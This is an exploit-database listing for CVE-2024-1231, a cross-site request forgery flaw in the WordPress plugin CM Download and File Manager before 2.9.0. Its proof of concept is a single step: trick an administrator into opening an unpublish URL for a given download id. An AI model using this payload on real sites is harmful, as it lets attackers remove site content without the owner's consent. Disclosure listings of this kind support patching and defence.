Sploitus

Exploit for CM Download and File Manager < 2.9.0 - Download Unpublish via CSRF

CVE-2024-1231

wpexploit · 2024-03-04

Exploit Code

MARKDOWN4 lines
## https://sploitus.com/exploit?id=WPEX-ID:7D3968D9-61ED-4C00-8764-0360CF03255E
Make an admin open the URL below

https://example.com/cmdownload/unpublish/id/<download_id>